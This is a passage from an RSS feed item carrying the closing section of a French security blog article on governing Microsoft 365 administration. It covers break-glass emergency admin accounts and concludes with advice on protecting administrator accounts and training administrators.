<li>Pas de MFA configuré (ou du moins un MFA tiers)</li>
<li>Stockage du mot de passe dans un coffre auquel seulement des personnes identifiées de l’équipe sécurité ou Office 365 peuvent accéder</li>
<li>Mise en place d’alerte afin de vérifier que ces comptes ne sont pas utilisés hors d’une procédure d’incident nécessitant l’utilisation du bris de glace.</li>
</ul>
<p style="text-align: justify;">Il est également recommandé de ne pas utiliser de convention de nommage spécifique pour ces comptes, ils ne doivent pas attirer l’œil d’un possible attaquant&nbsp;!</p>
<h1 style="text-align: justify;">Conclusion</h1>
<p style="text-align: justify;">La sécurité sur Office 365 repose sur des mesures techniques de protection des comptes administrateurs, ainsi que l’implémentation d’un modèle d’administration cible, ce qui comprend une gouvernance et des processus clairs, des outils pour mettre en place cette délégation de droits, et des dispositifs pour le maintenir dans le temps.</p>
<p style="text-align: justify;">Mais quelles que soient les mesures de protection implémentées, la <strong>sécurité repose avant tout sur les administrateurs de la solution</strong>. S<strong>ensibilisation des administrateurs et contrôles seront indispensables</strong>.</p>
<p style="text-align: justify;">Les administrateurs doivent garder à l’esprit que leurs comptes donnent accès à des informations et des actions extrêmement sensibles&nbsp;: ils sont donc la cible privilégiée des pirates informatiques&nbsp;!</p>
<p style="text-align: justify;">O365 étant en constante évolution, chaque nouveauté introduite par Microsoft pourra amener également son lot de problèmes de sécurité qu’il faudra étudier et prendre en compte. Profitez-en pour mettre à jour vos documentations&nbsp;: analyses de risques O365, configuration des services, modèle de délégation…toujours <strong>sans oublier de permettre à vos administrateurs de se former</strong>&nbsp;<strong>!</strong></p>
<p>&nbsp;</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2020/10/comment-maitriser-ladministration-dans-microsoft-365/">Comment maîtriser l’administration dans Microsoft 365 ?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
